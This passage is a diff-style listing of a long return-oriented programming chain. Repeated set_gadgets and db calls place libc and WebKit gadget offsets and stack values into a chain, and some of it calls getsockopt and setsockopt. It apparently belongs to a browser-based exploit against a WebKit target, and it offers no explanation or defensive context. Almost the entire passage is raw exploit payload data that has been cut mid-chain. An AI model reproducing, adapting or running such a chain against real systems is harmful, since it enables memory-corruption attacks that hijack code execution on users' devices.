+libc_base+713278 +]); +db([4294967292, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+185104, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+185120, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+185280, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+185312, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+185264, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+185296, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+185392, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+185408, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+185536, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+185552, +webkit_base+4687784, +libc_base+740138, +libc_base+713278, +ropchain+185520, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+185656, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+185672, +webkit_base+4687784, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+185792, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+185776, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+489696,); +db([0, 0]); +set_gadgets([ +libc_base+713278, +ropchain+185880, +webkit_base+4687784, +libc_base+740138, +libc_base+713278, +ropchain+185864, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+185984, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+186000, +webkit_base+4687784, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+186120, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+186104, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+489696,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([208, 0]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+165442, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+713278, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+608613, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+772328, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+1420514, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+17972187, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+765305, +libc_base+430587, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+11, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+11, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+713278, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +webkit_base+4687784, +libc_base+430587, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+772328, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+165442, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+1420514, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+489696, +libc_base+430587, +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([208, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967080, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([200, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967088, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([192, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967096, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([184, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967104, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([176, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967112, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([168, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+772328 +]); +db([4294967280, 4294967295]); +set_gadgets([ +webkit_base+5236215, +libc_base+772328, +getsockopt_addr, +webkit_base+2989859, +libc_base+713278 +]); +db([4294967192, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278 +]); +db([48, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+740138, +libc_base+430587, +libc_base+713278 +]); +db([32, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278 +]); +db([24, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([128, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278, +ropchain+187448, +webkit_base+4687784, +libc_base+489696 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+187520, +webkit_base+4687784, +libc_base+740138, +webkit_base+1420514 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+187592, +webkit_base+4687784, +libc_base+768796 +]); +db([4, 0]); +set_gadget(webkit_base+1420514,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+740138, +libc_base+713278, +ropchain+187688, +webkit_base+4687784, +libc_base+713278 +]); +db([24, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([61, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([41, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+187888, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+187976, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+187992, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+188152, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+188184, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+188136, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+188168, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+188280, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+188264, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+188384, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+189624, +libc_base+863109, +libc_base+713278 +]); +db([4294967256, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+188528, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+188544, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+188512, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+188672, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+188704, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+188688, +webkit_base+4687784, +libc_base+713278 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+11809960, +libc_base+232261, +webkit_base+426067, +libc_base+713278, +ropchain+188816, +libc_base+507828, +libc_base+145226, +libc_base+713278, +ropchain+188808, +webkit_base+4687784, +webkit_base+1816389, +libc_base+489696 +]); +db([0, 0]); +set_gadgets([ +ropchain+188832, +ropchain+189296, +libc_base+388400, +libc_base+713278, +ropchain+188904, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+189064, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+189096, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+189048, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+189080, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+189176, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+189192, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+189288, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+189272, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+713278, +ropchain+189376, +webkit_base+4687784, +libc_base+740138, +libc_base+713278, +ropchain+189360, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+189480, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+189496, +webkit_base+4687784, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+189616, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+189600, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+489696,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([208, 0]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+165442, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+713278, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+608613, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+772328, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+1420514, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+17972187, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+765305, +libc_base+430587, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+11, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+11, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+713278, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +webkit_base+4687784, +libc_base+430587, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+772328, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+165442, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+1420514, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+489696, +libc_base+430587, +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([208, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967080, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([200, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967088, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([192, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967096, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([184, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967104, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([176, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967112, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([168, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+772328 +]); +db([4294967280, 4294967295]); +set_gadgets([ +webkit_base+5236215, +libc_base+772328, +setsockopt_addr, +webkit_base+2989859, +libc_base+713278 +]); +db([4294967192, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278 +]); +db([48, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+740138, +libc_base+430587, +libc_base+713278 +]); +db([32, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278 +]); +db([24, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([128, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278, +ropchain+190944, +webkit_base+4687784, +libc_base+489696 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+191016, +webkit_base+4687784, +libc_base+740138, +webkit_base+1420514 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+191080, +webkit_base+4687784, +libc_base+740138, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+740138, +libc_base+713278 +]); +db([32, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+191232, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+191248, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+191408, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+191440, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+191392, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+191424, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+191560, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+191544, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967292, 4294967295]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+972324, +libc_base+713278, +ropchain+191640, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967292, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+191744, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([24, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+191832, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+191848, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+191992, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+191960, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+191976, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([51, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([41, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+192184, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+192272, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+192288, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+192448, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+192480, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+192432, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+192464, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+192576, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+192560, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+192680, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+194832, +libc_base+863109, +libc_base+713278 +]); +db([4294967256, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+192824, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+192840, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+192808, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+192968, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+193000, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+192984, +webkit_base+4687784, +libc_base+713278 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+11809960, +libc_base+232261, +webkit_base+426067, +libc_base+713278, +ropchain+193112, +libc_base+507828, +libc_base+145226, +libc_base+713278, +ropchain+193104, +webkit_base+4687784, +webkit_base+1816389, +libc_base+489696 +]); +db([0, 0]); +set_gadgets([ +ropchain+193128, +ropchain+193592, +libc_base+388400, +libc_base+713278, +ropchain+193200, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+193360, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+193392, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+193344, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+193376, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+193472, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+193488, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+193584, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+193568, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+713278, +ropchain+193648, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967292, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+193736, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+193752, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+193912, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+193944, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+193896, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+193928, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+194104, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+194056, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+194072, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([32, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+857161, +libc_base+857183, +libc_base+713278, +ropchain+194240, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+194256, +webkit_base+4687784, +libc_base+740138, +libc_base+713278, +ropchain+194224, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+194360, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+194376, +webkit_base+4687784, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+194496, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+194480, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+489696,); +db([0, 0]); +set_gadgets([ +libc_base+713278, +ropchain+194584, +webkit_base+4687784, +libc_base+740138, +libc_base+713278, +ropchain+194568, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+194688, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+194704, +webkit_base+4687784, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+194824, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+194808, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+489696,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([208, 0]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+165442, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+713278, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+608613, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+772328, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+1420514, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+17972187, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+765305, +libc_base+430587, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+11, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+11, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+713278, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +webkit_base+4687784, +libc_base+430587, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+772328, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+165442, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+1420514, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+489696, +libc_base+430587, +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([208, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967080, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([200, 0]); 